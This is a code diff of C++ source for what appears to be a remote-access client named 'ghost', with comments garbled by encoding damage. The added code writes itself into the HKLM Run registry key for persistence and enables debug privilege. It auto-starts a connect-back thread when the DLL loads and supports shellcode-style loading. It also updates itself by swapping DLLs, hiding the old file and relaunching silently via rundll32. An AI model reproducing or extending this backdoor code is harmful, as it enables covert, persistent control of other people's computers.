|
||||
enum{
|
||||
CMD_CAN_COPY,
|
||||
CMD_CAN_SEND
|
||||
@@ -36,7 +83,7 @@ public:
|
||||
LPBITMAPINFO m_BitmapInfor_Full;
|
||||
BYTE* m_BitmapData_Full;
|
||||
BOOL bStact;
|
||||
DWORD m_dwSize;
|
||||
DWORD m_dwSize; // <20><>Ƶͼ<C6B5><CDBC><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD>С
|
||||
|
||||
CSampleGrabberCB()
|
||||
{
|
||||
@@ -152,21 +199,25 @@ public:
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
class CCaptureVideo
|
||||
{
|
||||
public:
|
||||
CCaptureVideo();
|
||||
virtual ~CCaptureVideo();
|
||||
LPBITMAPINFO CCaptureVideo::GetBmpInfor();
|
||||
HRESULT CCaptureVideo::InitCaptureGraphBuilder();
|
||||
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress);
|
||||
BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter);
|
||||
LPBITMAPINFO GetBmpInfor();
|
||||
HRESULT InitCaptureGraphBuilder();
|
||||
HRESULT Open(int iDeviceID,int iPress);
|
||||
BOOL BindVideoFilter(int deviceId, IBaseFilter **pFilter);
|
||||
|
||||
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize);
|
||||
LPBYTE GetDIB(DWORD& dwSize);
|
||||
|
||||
int GetDIBBufSize() const { return mCB.m_dwSize; }
|
||||
|
||||
BOOL m_bExit;
|
||||
|
||||
HWND m_hWnd;
|
||||
|
||||
static CSampleGrabberCB mCB;
|
||||
IGraphBuilder * m_pGB; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> FCDO Filter Control Device Object
|
||||
ICaptureGraphBuilder2* m_pCapture; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> <20><>ʵCDO
|
||||
|
||||
@@ -176,10 +227,10 @@ public:
|
||||
IBaseFilter* m_pBF; //FDO
|
||||
ISampleGrabber* m_pGrabber; //<2F><><EFBFBD><EFBFBD> 24Color
|
||||
|
||||
void CCaptureVideo::FreeMediaType(AM_MEDIA_TYPE& mt);
|
||||
void CCaptureVideo::ResizeVideoWindow();
|
||||
HRESULT CCaptureVideo::SetupVideoWindow();
|
||||
void CCaptureVideo::SendEnd();
|
||||
void FreeMediaType(AM_MEDIA_TYPE& mt);
|
||||
void ResizeVideoWindow();
|
||||
HRESULT SetupVideoWindow();
|
||||
void SendEnd();
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_)
|
||||
|
||||
@@ -2,29 +2,220 @@
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "Common.h"
|
||||
#include "IOCPClient.h"
|
||||
#include <IOSTREAM>
|
||||
#include "LoginServer.h"
|
||||
#include "KernelManager.h"
|
||||
using namespace std;
|
||||
#include "ClientDll.h"
|
||||
|
||||
char g_szServerIP[MAX_PATH] = {0};
|
||||
unsigned short g_uPort = 0;
|
||||
bool g_bExit = false;
|
||||
bool g_bThreadExit = false;
|
||||
HINSTANCE g_hInstance = NULL;
|
||||
DWORD WINAPI StartClient(LPVOID lParam);
|
||||
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
||||
#define REG_NAME "a_ghost"
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ŀͻ<C4BF><CDBB>˸<EFBFBD><CBB8><EFBFBD>
|
||||
#define CLIENT_PARALLEL_NUM 1
|
||||
|
||||
// Զ<>̵<EFBFBD>ַ
|
||||
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION};
|
||||
|
||||
// <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.
|
||||
// <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB>һ<EFBFBD><D2BB>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_MyApp
|
||||
ClientApp g_MyApp(&g_SETTINGS, IsClientAppRunning);
|
||||
|
||||
enum { E_RUN, E_STOP, E_EXIT } status;
|
||||
|
||||
int ClientApp::m_nCount = 0;
|
||||
|
||||
CLock ClientApp::m_Locker;
|
||||
|
||||
BOOL IsProcessExit() {
|
||||
return g_MyApp.g_bExit == S_CLIENT_EXIT;
|
||||
}
|
||||
|
||||
BOOL IsSharedRunning(void* thisApp) {
|
||||
ClientApp* This = (ClientApp*)thisApp;
|
||||
return (S_CLIENT_NORMAL == g_MyApp.g_bExit) && (S_CLIENT_NORMAL == This->g_bExit);
|
||||
}
|
||||
|
||||
BOOL IsClientAppRunning(void* thisApp) {
|
||||
ClientApp* This = (ClientApp*)thisApp;
|
||||
return S_CLIENT_NORMAL == This->g_bExit;
|
||||
}
|
||||
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared) {
|
||||
auto v = StringToVector(remoteAddr, ':', 2);
|
||||
if (v[0].empty() || v[1].empty())
|
||||
return nullptr;
|
||||
auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
|
||||
a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
|
||||
return a;
|
||||
}
|
||||
|
||||
DWORD WINAPI StartClientApp(LPVOID param) {
|
||||
ClientApp::AddCount(1);
|
||||
ClientApp* app = (ClientApp*)param;
|
||||
CONNECT_ADDRESS& settings(*(app->g_Connection));
|
||||
const char* ip = settings.ServerIP();
|
||||
int port = settings.ServerPort();
|
||||
State& bExit(app->g_bExit);
|
||||
if (ip != NULL && port > 0)
|
||||
{
|
||||
settings.SetServer(ip, port);
|
||||
}
|
||||
if (strlen(settings.ServerIP()) == 0 || settings.ServerPort() <= 0) {
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ṩԶ<E1B9A9><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6>!\n");
|
||||
Sleep(3000);
|
||||
} else {
|
||||
app->g_hInstance = GetModuleHandle(NULL);
|
||||
Mprintf("[ClientApp: %d] Total [%d] %s:%d \n", app->m_ID, app->GetCount(), settings.ServerIP(), settings.ServerPort());
|
||||
|
||||
do {
|
||||
bExit = S_CLIENT_NORMAL;
|
||||
HANDLE hThread = CreateThread(NULL, 0, StartClient, app, 0, NULL);
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
if (IsProcessExit()) // process exit
|
||||
break;
|
||||
} while (E_RUN == status && S_CLIENT_EXIT != bExit);
|
||||
}
|
||||
|
||||
auto r = app->m_ID;
|
||||
if (app != &g_MyApp) delete app;
|
||||
ClientApp::AddCount(-1);
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֧<EFBFBD>ֳ<EFBFBD><D6B3><EFBFBD>MAXIMUM_WAIT_OBJECTS<54><53><EFBFBD>ƣ<EFBFBD>
|
||||
* @param handles <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
* @param waitAll <20>Ƿ<EFBFBD><C7B7>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>о<EFBFBD><D0BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɣ<EFBFBD>TRUE=ȫ<><C8AB>, FALSE=<3D><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
|
||||
* @param timeout <20><>ʱʱ<CAB1>䣨<EFBFBD><E4A3A8><EFBFBD>룬INFINITE<54><45>ʾ<EFBFBD><CABE><EFBFBD>ȴ<DEB5><C8B4><EFBFBD>
|
||||
* @return <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>WAIT_OBJECT_0<5F>ɹ<EFBFBD>, WAIT_FAILEDʧ<44>ܣ<EFBFBD>
|
||||
*/
|
||||
DWORD WaitForMultipleHandlesEx(
|
||||
const std::vector<HANDLE>& handles,
|
||||
BOOL waitAll = TRUE,
|
||||
DWORD timeout = INFINITE
|
||||
) {
|
||||
const DWORD MAX_WAIT = MAXIMUM_WAIT_OBJECTS; // ϵͳ<CFB5><CDB3><EFBFBD>ƣ<EFBFBD>64<36><34>
|
||||
DWORD totalHandles = static_cast<DWORD>(handles.size());
|
||||
|
||||
// 1. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7>
|
||||
for (HANDLE h : handles) {
|
||||
if (h == NULL || h == INVALID_HANDLE_VALUE) {
|
||||
SetLastError(ERROR_INVALID_HANDLE);
|
||||
return WAIT_FAILED;
|
||||
}
|
||||
}
|
||||
|
||||
// 2. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>64<36><34>ֱ<EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD>ԭ<EFBFBD><D4AD>API
|
||||
if (totalHandles <= MAX_WAIT) {
|
||||
return WaitForMultipleObjects(totalHandles, handles.data(), waitAll, timeout);
|
||||
}
|
||||
|
||||
// 3. <20><><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4><EFBFBD>
|
||||
if (waitAll) {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>о<EFBFBD><D0BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
|
||||
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
|
||||
DWORD result = WaitForMultipleObjects(
|
||||
batchSize,
|
||||
&handles[i],
|
||||
TRUE, // <20><><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
timeout
|
||||
);
|
||||
if (result == WAIT_FAILED) {
|
||||
return WAIT_FAILED;
|
||||
}
|
||||
}
|
||||
return WAIT_OBJECT_0;
|
||||
}
|
||||
else {
|
||||
// ֻ<><D6BB><EFBFBD>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
while (true) {
|
||||
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
|
||||
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
|
||||
DWORD result = WaitForMultipleObjects(
|
||||
batchSize,
|
||||
&handles[i],
|
||||
FALSE, // <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ɼ<EFBFBD><C9BC><EFBFBD>
|
||||
timeout
|
||||
);
|
||||
if (result != WAIT_FAILED && result != WAIT_TIMEOUT) {
|
||||
return result + i; // <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
}
|
||||
}
|
||||
if (timeout != INFINITE) {
|
||||
return WAIT_TIMEOUT;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#if _CONSOLE
|
||||
|
||||
enum { E_RUN, E_STOP } status;
|
||||
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||
void DebugPrivilege()
|
||||
{
|
||||
HANDLE hToken = NULL;
|
||||
//<2F><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
|
||||
|
||||
if (hRet)
|
||||
{
|
||||
TOKEN_PRIVILEGES tp;
|
||||
tp.PrivilegeCount = 1;
|
||||
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD>LUID
|
||||
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
|
||||
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||
* @param[in] *sNmae ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
* @return <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
* @details Win7 64λ<34><CEBB><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
|
||||
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
|
||||
* @note <20>״<EFBFBD><D7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><D4B9><EFBFBD>ԱȨ<D4B1><C8A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>д<EFBFBD>뿪<EFBFBD><EBBFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
*/
|
||||
BOOL SetSelfStart(const char* sPath, const char* sNmae)
|
||||
{
|
||||
DebugPrivilege();
|
||||
|
||||
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
|
||||
|
||||
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
HKEY hKey = NULL;
|
||||
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
|
||||
|
||||
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
||||
if (lRet != ERROR_SUCCESS)
|
||||
return FALSE;
|
||||
|
||||
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
|
||||
|
||||
// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
|
||||
RegCloseKey(hKey);
|
||||
|
||||
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
||||
return lRet == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD>ؿ<EFBFBD><D8BF><EFBFBD>̨
|
||||
// <20>ο<EFBFBD><CEBF><EFBFBD>https://blog.csdn.net/lijia11080117/article/details/44916647
|
||||
// step1: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22><EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD>ΪmainCRTStartup
|
||||
// step2: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"ϵͳ"<22><><EFBFBD><EFBFBD>ϵͳΪ<CDB3><CEAA><EFBFBD><EFBFBD>
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
|
||||
BOOL CALLBACK callback(DWORD CtrlType)
|
||||
{
|
||||
if (CtrlType == CTRL_CLOSE_EVENT)
|
||||
{
|
||||
g_bExit = true;
|
||||
g_MyApp.g_bExit = S_CLIENT_EXIT;
|
||||
while (E_RUN == status)
|
||||
Sleep(20);
|
||||
}
|
||||
@@ -33,12 +224,13 @@ BOOL CALLBACK callback(DWORD CtrlType)
|
||||
|
||||
int main(int argc, const char *argv[])
|
||||
{
|
||||
status = E_RUN;
|
||||
if (argc < 3)
|
||||
if (!SetSelfStart(argv[0], REG_NAME))
|
||||
{
|
||||
std::cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
|
||||
return -1;
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
}
|
||||
|
||||
status = E_RUN;
|
||||
|
||||
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
|
||||
if (ERROR_ALREADY_EXISTS == GetLastError())
|
||||
{
|
||||
@@ -47,17 +239,29 @@ int main(int argc, const char *argv[])
|
||||
}
|
||||
|
||||
SetConsoleCtrlHandler(&callback, TRUE);
|
||||
const char *szServerIP = argv[1];
|
||||
int uPort = atoi(argv[2]);
|
||||
printf("[remote] %s:%d\n", szServerIP, uPort);
|
||||
|
||||
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
|
||||
g_uPort = uPort;
|
||||
|
||||
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
const char* ip = argc > 1 ? argv[1] : NULL;
|
||||
int port = argc > 2 ? atoi(argv[2]) : 0;
|
||||
ClientApp& app(g_MyApp);
|
||||
app.g_Connection->SetType(CLIENT_TYPE_ONE);
|
||||
app.g_Connection->SetServer(ip, port);
|
||||
if (CLIENT_PARALLEL_NUM == 1) {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
StartClientApp(&app);
|
||||
} else {
|
||||
std::vector<HANDLE> handles(CLIENT_PARALLEL_NUM);
|
||||
for (int i = 0; i < CLIENT_PARALLEL_NUM; i++) {
|
||||
auto client = new ClientApp(app.g_Connection, IsSharedRunning, FALSE);
|
||||
handles[i] = CreateThread(0, 64*1024, StartClientApp, client->SetID(i), 0, 0);
|
||||
if (handles[i] == 0) {
|
||||
Mprintf("<EFBFBD>߳<EFBFBD> %d <20><><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD>: %d\n", i, errno);
|
||||
}
|
||||
}
|
||||
DWORD result = WaitForMultipleHandlesEx(handles, TRUE, INFINITE);
|
||||
if (result == WAIT_FAILED) {
|
||||
Mprintf("WaitForMultipleObjects ʧ<>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
|
||||
}
|
||||
}
|
||||
ClientApp::Wait();
|
||||
status = E_STOP;
|
||||
|
||||
CloseHandle(hMutex);
|
||||
@@ -65,6 +269,23 @@ int main(int argc, const char *argv[])
|
||||
}
|
||||
#else
|
||||
|
||||
extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort);
|
||||
|
||||
// Auto run main thread after load the DLL
|
||||
DWORD WINAPI AutoRun(LPVOID param) {
|
||||
do
|
||||
{
|
||||
TestRun(NULL, 0);
|
||||
} while (S_SERVER_EXIT == g_MyApp.g_bExit);
|
||||
|
||||
if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) {
|
||||
HMODULE hInstance = (HMODULE)param;
|
||||
FreeLibraryAndExitThread(hInstance, -1);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
@@ -72,28 +293,39 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_PROCESS_ATTACH:
|
||||
{
|
||||
g_hInstance = (HINSTANCE)hInstance;
|
||||
|
||||
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
|
||||
CloseHandle(CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
|
||||
break;
|
||||
}
|
||||
}
|
||||
case DLL_PROCESS_DETACH:
|
||||
g_MyApp.g_bExit = S_CLIENT_EXIT;
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ghost
|
||||
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||||
{
|
||||
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
|
||||
g_uPort = uPort;
|
||||
|
||||
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
||||
ClientApp& app(g_MyApp);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
if (app.IsThreadRun()) {
|
||||
settings.SetServer(szServerIP, uPort);
|
||||
return;
|
||||
}
|
||||
app.SetThreadRun(TRUE);
|
||||
app.SetProcessState(S_CLIENT_NORMAL);
|
||||
settings.SetServer(szServerIP, uPort);
|
||||
|
||||
HANDLE hThread = CreateThread(NULL,0,StartClient, &app,0,NULL);
|
||||
if (hThread == NULL) {
|
||||
app.SetThreadRun(FALSE);
|
||||
return;
|
||||
}
|
||||
#ifdef _DEBUG
|
||||
WaitForSingleObject(hThread, 200);
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
#else
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
#endif
|
||||
@@ -101,43 +333,188 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||||
}
|
||||
|
||||
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD>
|
||||
extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
|
||||
|
||||
extern "C" __declspec(dllexport) void StopRun() { g_MyApp.g_bExit = S_CLIENT_EXIT; }
|
||||
|
||||
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
||||
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
|
||||
extern "C" __declspec(dllexport) bool IsStoped() { return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0; }
|
||||
|
||||
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
extern "C" __declspec(dllexport) BOOL IsExit() { return g_MyApp.g_bExit; }
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д˳<D0B4><CBB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>κβ<CEBA><CEB2><EFBFBD>
|
||||
extern "C" __declspec(dllexport) int EasyRun() {
|
||||
ClientApp& app(g_MyApp);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
|
||||
do {
|
||||
TestRun((char*)settings.ServerIP(), settings.ServerPort());
|
||||
while (!IsStoped())
|
||||
Sleep(50);
|
||||
if (S_CLIENT_EXIT == app.g_bExit) // <20>ܿض<DCBF><D8B6>˳<EFBFBD>
|
||||
break;
|
||||
else if (S_SERVER_EXIT == app.g_bExit)
|
||||
continue;
|
||||
else // S_CLIENT_UPDATE: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
break;
|
||||
} while (true);
|
||||
|
||||
return app.g_bExit;
|
||||
}
|
||||
|
||||
// copy from: SimpleRemoter\client\test.cpp
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD>DLL
|
||||
void RunNewDll(const char* cmdLine) {
|
||||
char path[_MAX_PATH], * p = path;
|
||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
while (*p) ++p;
|
||||
while ('\\' != *p) --p;
|
||||
*(p + 1) = 0;
|
||||
std::string folder = path;
|
||||
std::string oldFile = folder + "ServerDll.old";
|
||||
std::string newFile = folder + "ServerDll.new";
|
||||
strcpy(p + 1, "ServerDll.dll");
|
||||
BOOL ok = TRUE;
|
||||
if (_access(newFile.c_str(), 0) != -1) {
|
||||
if (_access(oldFile.c_str(), 0) != -1)
|
||||
{
|
||||
if (!DeleteFileA(oldFile.c_str()))
|
||||
{
|
||||
Mprintf("Error deleting file. Error code: %d\n", GetLastError());
|
||||
ok = FALSE;
|
||||
}
|
||||
}
|
||||
if (ok && !MoveFileA(path, oldFile.c_str())) {
|
||||
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
||||
if (_access(path, 0) != -1)
|
||||
{
|
||||
ok = FALSE;
|
||||
}
|
||||
}
|
||||
else {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
||||
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
|
||||
{
|
||||
Mprintf("File created and set to hidden: %s\n", oldFile.c_str());
|
||||
}
|
||||
}
|
||||
if (ok && !MoveFileA(newFile.c_str(), path)) {
|
||||
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
||||
MoveFileA(oldFile.c_str(), path);// recover
|
||||
}
|
||||
else if (ok) {
|
||||
Mprintf("Using new file: %s\n", newFile.c_str());
|
||||
}
|
||||
}
|
||||
char cmd[1024];
|
||||
sprintf_s(cmd, "%s,Run %s", path, cmdLine);
|
||||
ShellExecuteA(NULL, "open", "rundll32.exe", cmd, NULL, SW_HIDE);
|
||||
}
|
||||
|
||||
/* <20><><EFBFBD>пͻ<D0BF><CDBB>˵ĺ<CBB5><C4BA>Ĵ<EFBFBD><C4B4><EFBFBD>. <20><>Ϊ<EFBFBD><CEAA><EFBFBD>嵼<EFBFBD><E5B5BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD> rundll32 <20><><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC>.
|
||||
HWND hwnd: <20><><EFBFBD><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><CDA8>Ϊ NULL<4C><4C><EFBFBD><EFBFBD>
|
||||
HINSTANCE hinst: DLL <20><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
LPSTR lpszCmdLine: <20><><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int nCmdShow: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ״̬<D7B4><CCAC>
|
||||
